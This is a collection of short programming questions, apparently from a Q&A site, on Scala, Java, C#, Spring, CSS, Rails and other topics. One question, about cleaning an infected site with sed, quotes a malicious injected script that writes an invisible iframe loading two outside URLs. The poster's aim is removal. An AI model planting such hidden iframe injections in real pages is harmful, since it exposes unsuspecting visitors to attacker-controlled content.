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• Why is this Scala example of implicit paremeter not working?

  - by Alex R

  simple REPL test... def g(a:Int)(implicit b:Int) = {a+b} Why do neither of these attempted usages work? 1. scala class A { var b:Int =8; var c = g(2) } :6: error: could not find implicit value for parameter b: Int class A { var b:Int =8; var c = g(2) } 2. scala class A(var b:Int) { var c = g(2) } :6: error: could not find implicit value for parameter b: Int class A(var b:Int) { var c = g(2) } ^ Thanks

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• Spring FactoryBean and scopes working together

  - by TTar

  I'd like to use FactoryBeans and scopes together. Specifically, I'd like the object created and returned by a FactoryBean to be placed into a specified (perhaps custom) scope. The issue is that doing the following: <bean class="x.y.z.TestFactoryBean" scope="test" /> Results in the FactoryBean itself being scoped, and has somewhat unpredictable behaviour on the object created by the factory. I understand why this is; the factory itself is a first-class spring-managed bean, and has its own lifecycle. However, I can't find a way to specify that the object returned from the factory should itself be scoped. On the other hand, this does exactly what I want (as long as TestFactoryBean does NOT implement the FactoryBean interface): <bean class="x.y.z.TestFactoryBean" name="testFactory"> <bean class="x.y.z.TestBean" factory-bean="testFactory" factory-method="getObject" scope="test" /> So the real question is, how can I make Spring behave like it does for the 2nd example above, but using real FactoryBeans?

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• ConfigurationSection with multiple projects

  - by shivesh

  In my asp.net solution i have a couple of class library-projects that act as modules of the site. In main project I have SiteConfigurationSection class that derives from ConfigurationSection. I want all projects to be able to access and use this SiteConfigurationSection. But class library projects can't access it because they obviously don't have a reference to the website itself. Should create a special library-project for SiteConfigurationSection of maybe it's better to create a mini SiteConfigurationSection class in every project and encapsulate only the needed values?

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• Generics limitation, or lack of skillz ?

  - by Two Shoes

  I want to define the following class as such: public class CollectionAttribute<E extends Collection<T>> { private String name; private E value; public CollectionAttribute(String name, E value) { this.name = name; this.value = value; } public E getValue() { return value; } public void addValue(T value) { value.add(T); } } This won't compile (cannot resolve symbol T). If I replace the class declaration with the following: public class CollectionAttribute<E extends Collection<?>> Then I can't reference the parametrized type of the collection. Am I missing something or have I reached a limitation with generics in Java ?

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• frame variable cannot be found

  - by Umzz Mo

  I am making 3 board games, and I have started my coding off in one class. Now that i wanted to move around it is giving me problems. In my view class I just want to have the main frame where users can pick from the games. And in the other views, i.e the childrens of view class i want to have the interface for the actual games. Now that the Jframe frame = new frame was created in the parent class, it cannot find the variable frame in the children classes.

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• C#, Generic Lists and Inheritance

  - by Andy

  I have a class called Foo that defines a list of objects of type A: class Foo { List<A> Items = new List<A>(); } I have a class called Bar that can save and load lists of objects of type B: class Bar { void Save(List<B> ComplexItems); List<B> Load(); } B is a child of A. Foo, Bar, A and B are in a library and the user can create children of any of the classes. What I would like to do is something like the following: Foo MyFoo = new Foo(); Bar MyBar = new Bar(); MyFoo.Items = MyBar.Load(); MyBar.Save(MyFoo.Items); Obviously this won't work. Is there a clever way to do this that avoids creating intermediate lists? thanks, Andy

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• Putting a thread to sleep until event X occurs

  - by tipu

  I'm writing to many files in a threaded app and I'm creating one handler per file. I have HandlerFactory class that manages the distribution of these handlers. What I'd like to do is that thread A requests and gets foo.txt's file handle from the HandlerFactory class thread B requests foo.txt's file handler handler class recognizes that this file handle has been checked out handler class puts thread A to sleep thread B closes file handle using a wrapper method from HandlerFactory HandlerFactory notifies sleeping threads thread B wakes and successfully gets foo.txt's file handle This is what I have so far, def get_handler(self, file_path, type): self.lock.acquire() if file_path not in self.handlers: self.handlers[file_path] = open(file_path, type) elif not self.handlers[file_path].closed: time.sleep(1) self.lock.release() return self.handlers[file_path][type] I believe this covers the sleeping and handler retrieval successfully, but I am unsure how to wake up all threads, or even better wake up a specific thread.

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• Override jre_lib classes

  - by Filip

  What is the best way to override jre_lib classes? Let's say I need to store all ArrayLists not in RAM but on disk or anywhere else. I wanna write my own ArrayList class to code this functionality and make sure that every instantiations of ArrayList use my class. I thought about class loading mechanism to change order of classpath, but as I see java checks standard classes first.

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• Why isn't the inline element inheriting height from its children?

  - by jbarz

  I'm trying to make a rather complicated grid of images and information (almost like Pinterest). Specifically, I'm trying to inline position one set of <ul>s right after another. I have it working but one aspect is causing issues so I'm trying to ask about this small piece to avoid the complication of the whole problem. In order to horizontally align the images and their information we are using inline <li>s with other inline-block level elements inside of them. Everything works correctly for the most part except that the <li>s have almost no height. HTML and CSS is in JSFiddle here if you want to mess with it in addition to below: HTML: <div> <ul class="Container"> <li> <span class="Item"> <a href="#"><img src="http://jsfiddle.net/img/logo.png"/></a> <span class="Info"> <a href="#">Title One</a> <span class="Details">One Point One</span> </span> </span> </li> <li> <span class="Item"> <a href="#"><img src="http://jsfiddle.net/img/logo.png"/></a> <span class="Info"> <a href="#">Title Two</a> <span class="Details">Two Point One</span> </span> </span> </li> </ul> CSS: .Container { list-style-type:none; } .Container li { background-color:grey; display:inline; text-align:center; } .Container li .Item { border:solid 2px #ccc; display:inline-block; min-height:50px; vertical-align:top; width:170px; } .Container li .Item .Info { display:inline-block; } .Container li .Item .Info a { display:inline-block; width:160px; } If you check out the result in the jsfiddle link you can see that the grey background only encompasses a small strip of the whole <li>. I know that changing the <li> to display:inline-block solves this problem but that isn't feasible for other reasons. So first of all, I'm just looking to see if anyone understands why the inline <li> element doesn't have any height. I can't find anything in the spec that explains this. I know I can't add height to an inline element but any explanation as to why this is happening that might enable me to fix would be great. Secondly, if you inspect the elements using IE's Developer Mode you will see that although the background color is in the correct location, the actual location of the <li>'s bounding box is at the bottom of the container according to hovering over the element. I could deal with this problem if it was at the top in every browser but it apparently varies. NOTE: I don't really care about older browsers in this case but I don't use HTML5 or JavaScript positioning. Thanks.

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• Ouch, how to escape this in sed? Cleaning up iframe malware

  - by user1769783

  I'm helping someone clean up a malware infection on a site and I'm having a difficult time correctly matching some strings in sed so I can create a script to mass search and replace / remove it. The strings are: <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script> <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script> I cant seem to figure out how to escape the various characters in those lines... If I try to just say delete the entire line if it matches http://vidintex.com/includes/class.pop.php it also deletes the closing "" in the .html files as well. Any help would be greatly appreciated!

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• C# Property inheritance question

  - by mcxiand

  Hi all, How do i inherit a property in c# from an interface and give that property other name on the class? For example: public interface IFoo { int Num {get;set;} } public class IFooCls : IFoo { int Ifoo.Num{get;set} } In this case, what the property name in the interface is also the same in the class. What i want is to give other property name on the class but still pointing to "Num" in the interface in this case. In VB, we can do it like this: Public ReadOnly Property UserId() As String Implements System.Security.Principal.IIdentity.Name Get Return _userId End Get End Property

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• Jython & Mysql - what is the current practice for connection?

  - by Sector7B

  Just trying jython for the first time, because something came up at work that would fit for this perfect for it. I assume jython can make mysql jdbc connection using the mysql jdbc driver. After googling and reading, however I am having problems and it seems jython specific and probably simple. so i do jython: Jython 2.5.1 (Release_2_5_1:6813, Sep 26 2009, 13:47:54) [Java HotSpot(TM) 64-Bit Server VM (Apple Inc.)] on java1.6.0_17 Type "help", "copyright", "credits" or "license" for more information. >>> import sys >>> print sys.path ['', '/JYTHONPATH/mysql-connector-java-5.1.10-bin.jar', '/WorkArea/Apps/jython/jython2.5.1/Lib', '__classpath__', '__pyclasspath__/', '/WorkArea/Apps/jython/jython2.5.1/Lib/site-packages'] >>> code i'm running from java.lang import * from java.sql import * driverName="com.mysql.jdbc.Driver" Class.forName(driverName) url = "jdbc:mysql://localhost/test?user=jgreenaw&password=" con = DriverManager.getConnection(url) stmt = con.createStatement() output riux:Desktop$ jython pymysql.py Traceback (most recent call last): File "pymysql.py", line 7, in <module> Class.forName(driverName) at java.net.URLClassLoader$1.run(URLClassLoader.java:200) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(URLClassLoader.java:188) at java.lang.ClassLoader.loadClass(ClassLoader.java:315) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:330) at java.lang.ClassLoader.loadClass(ClassLoader.java:250) at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:398) at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Class.java:169) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:597) java.lang.ClassNotFoundException: java.lang.ClassNotFoundException: com.mysql.jdbc.Driver any advice? thanks

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• PropertyGrid + interface

  - by nilphilus

  public interface ITest { void Somethink(); } public class Test1 : ITest { public void Somethink() { /* do stuff */ } public int Test1Property { get; set; } } public class Test2 : ITest { public void Somethink() { /* do stuff */ } public float Test2Property { get; set; } } //Main class public class MainClass { [TypeConverter(ExpandableObjectConverter)] public ITest test { get; set; } } Ok, i have sth like this. Instance of MainClass is selected by PropertyGrid. How to make a DropDownList of objects of classes which implement ITest (here Test1 and Test2)

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• Elements of a Java Object Array are created but without correct names

  - by Greenhouse Gases

  Hi all Im having rather an annoying problem. I have a class called Person and a class called Event which serve to create objects to be used for competitors that compete in a certain event. When I add a competitor thats fine and the GUI list updates accordingly, however when I add an event the element in the array does not take on the value of the instance variable name in the class Event and so the GUI does not show the event name, though it is being added in the array correctly. How can I make it so that the event object in each element of the listOfEvents array (which is an array of event objects) has the name of the event. I should add this is for university though this isnt the part for which we will be assessed, it is somethign i have come across and due to not being able to see the code for the GUI, I've hit the proverbial brick wall. I wont include the whole load of code Ive been writing but hopefully my description and snippets below will suffice. Any advice I would appreciate greatly. No doubt I have overlooked something simple! Many thanks. listOfEvents is declared as: Event[] listOfEvents = new Event[20]; A snippet from the Event class: public class Event { String name; Person[] participants = new Person[10]; // array of competitors for the event public Event(String name) { this.name = name; } } and its use in the addEvent method (p is a global variable): public void addEvent(String eventName) { listOfEvents[p] = new Event(eventName); p++; }

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• Purpose of singletons in programming

  - by thecoshman

  This is admittedly a rather loose question. My current understanding of singletons is that they are a class that you set up in such a way that only one instance is ever created. This sounds a lot like a static class to me. The main differnce being that with a static class you don't / can't instance it, you just use it such as Math.pi(). With a singletong class, you would still need to do something like singleton mySingleton = new singleton(); mysingleton.set_name("foo"); singleton otherSingleton = new singleton(); // correct me if i am wrong, but mysingleton == othersingleton right now, yes? // this the following should happen? otherSingleston.set_name("bar"); mysingleton.report_name(); // will output "bar" won't it? Please note, I am asking this language independently, more about the concept. So I am not so worried about actually how to coed such a class, but more why you would wan't to and what thing you would need to consider.

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• Grails: How can I search through children in a hasMany relationship?

  - by intargc

  If I have a Client domain class, and that Client hasMany Courses. How do I find the course I'm looking for? For instance: class Client { String name static hasMany = [courses:Course] } class Course { String name static belongsTo = [client:Client] } def client = Client.get(1) I want to "find" or "search" within that courses relationship. Maybe something like: client.courses.find(name:'Whatever') Is there any way to do this with Grails?

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• What do you name the "other" kind of view-model in an MVVM project?

  - by DanM

  With MVVM, I think of a view-model as a class that provides all the data and commands that a view needs to bind to. But what happens when I have a database entity object, say a Customer, and I want to build a class that shapes or flattens the Customer class for use in a data grid. For example, maybe this special Customer object would have a property TotalOrders, which is actually calculated using a join with a collection of Order entities. My question is, what do I call this special Customer class? In other situations, I'd be tempted to call it a CustomerViewModel, but I feel like "overloading" the notion of a view-model like this would be confusing in an MVVM project. What would you suggest?

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• Html.EditorFor Global Template?

  - by Grant Trevor

  Is there any way to define a global template for the Html.EditorFor helper? I would like to alter the markup that is output so that for example instead of rendering <div class="editor-label"> <label .../> </div> <div class="editor-field"> <input .../> </div> It would render: <div> <div class="label"><label..../></div> <div class="field"><input..../></div> </div> This is for when I'm using Html.EditorFor with an object instance not just an object property.

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• c++ polymorphism and other function question

  - by aharont

  i have got this code: class father{ public: virtual void f() { cout<<1;} }; class son:public father{ public: void f() {cout<<2;} }; void test (father x){x.f();} int main(){ son s; test(s); } the question says: the output is '1', what is the rule about polymorphism that the programmer forgot and how can i fix it so the output would be '2'? there is another rule that the programmer forgot when he wrote the father class, and he need to add an empty function to avoid problems from other sons of the father class. what is the rule and what is the missing function? another question write the g function so the next code would run with no crashes int x=11; g(x)=22;

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• Is there a way to deserialize an object into "$this"?

  - by Andreas Bonini

  I'm writing a class to handle a memcached object. The idea was to create abstract class Cachable and all the cachable objects (such as User, Post, etc) would be subclasses of said class. The class offers some method such as Load() which calls the abstract function LoadFromDB() if the object is not cached, functions to refresh/invalidate the cache, etc. The main problem is in Load(); I wanted to do something similar: protected function Load($id) { $this->memcacheId = $id; $this->Connect(); $cached = $this->memcache->get(get_class($this) . ':' . $id); if($cached === false) { $this->SetLoaded(LoadFromDB($id)); UpdateCache(); } else { $this = $cached; $this->SetLoaded(true); } } Unfortunately I need $this to become $cached (the cached object); is there any way to do that? Was the "every cachable object derives from the cachable class" a bad design idea?

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• where is "create instance" menu in visual studio 2010?

  - by austin powers

  Hi, in visual studio 2008 there is a sub-menu called "create instance" which is resides in class designer. Today I've opened VS.net 2010 and then opened class designer and create my class over there and when I wanted to test my class with the help of "create instance" option there was no such option available in vs.net 2010. and I've googled about it a little bit but no answer at all so I decided to mention about it here. where can I find this menu in vs.net 2010? regards.

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• allocator with no template

  - by Merni

  Every stl container take an allocator as a second object, template < class T, class Allocator = allocator<T> > class vector; If you write your own class It is possible to use your own allocator. But is it possible to write your own allocator without using templates? For example, writing this function is not easy if you are not allowed to use templates pointer allocate(size_type n, const_pointer = 0) { void* p = std::malloc(n * sizeof(T)); if (!p) throw std::bad_alloc(); return static_cast<pointer>(p); } Because how could you know the size of T?

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• jQuery: Getting value from input array

  - by betacar

  We have the following form: <form> ... <table width="100%" cellspacing="0" class="datagrid_ppal"> <tbody> <tr> <th scope="row">Area 1 <input name="config_line" type="hidden" value="0,5,50" /></th> <td class="gantt"> </td> <td class="gantt"> </td> <td class="gantt"> </td> ... </tr> </tbody> </table width="100%" cellspacing="0" class="datagrid_ppal"> ... <form> What we need is to get the first, second or third from the hidden input value. We have tried this and didn't work: var value = $('th').children('input:hidden').val(); Can anyone help us? We would really appreciate it.

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• Simultaneous private and public inheritance in C++

  - by gspr

  Suppose a class Y publicly inherits a class X. Is it possible for a class Z to privately inherit Y while publicly inheriting X? To make this clearer, suppose X defines public methods x1 and x2. Y inherits X, overrides x1 and provides a method y. Does C++ allow for a third class Z to subclass Y in such a way that Y's implementation of x1 and y are privately available to it, while the outside world only sees it inheriting X publicly, i.e. having only a single public method x2?

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• Ruby on Rails: create records for multiple models with one form and one submit

  - by notblakeshelton

  I have a 3 models: quote, customer, and item. Each quote has one customer and one item. I would like to create a new quote, a new customer, and a new item in their respective tables when I press the submit button. I have looked at other questions and railscasts and either they don't work for my situation or I don't know how to implement them. I also want my index page to be the page where I can create everything. quote.rb class Quote < ActiveRecord::Base attr_accessible :quote_number has_one :customer has_one :item end customer.rb class Customer < ActiveRecord::Base #unsure of what to put here #a customer can have multiple quotes, so would i use: has_many :quotes #<----? end item.rb class Item < ActiveRecord::Base #also unsure about this #each item can also be in multiple quotes quotes_controller.rb class QuotesController < ApplicationController def index @quote = Quote.new @customer = Customer.new @item = item.new end def create @quote = Quote.new(params[:quote]) @quote.save @customer = Customer.new(params[:customer]) @customer.save @item = Item.new(params[:item]) @item.save end end items_controller.rb class ItemsController < ApplicationController def index end def new @item = Item.new end def create @item = Item.new(params[:item]) @item.save end end customers_controller.rb class CustomersController < ApplicationController def index end def new @customer = Customer.new end def create @customer = Customer.new(params[:customer]) @customer.save end end quotes/index.html.erb <%= form_for @quote do |f| %> <%= f.fields_for @customer do |builder| %> <%= label_tag :firstname %> <%= builder.text_field :firstname %> <%= label_tag :lastname %> <%= builder.text_field :lastname %> <% end %> <%= f.fields_for @item do |builder| %> <%= label_tag :name %> <%= builder.text_field :name %> <%= label_tag :description %> <%= builder.text_field :description %> <% end %> <%= label_tag :quote_number %> <%= f.text_field :quote_number %> <%= f.submit %> <% end %> When I try submitting that I get an error: Can't mass-assign protected attributes: item, customer So to try and fix it I updated the attr_accessible in quote.rb to include :item, :customer but then I get this error: Item(#) expected, got ActiveSupport::HashWithIndifferentAccess(#) Any help would be greatly appreciated.

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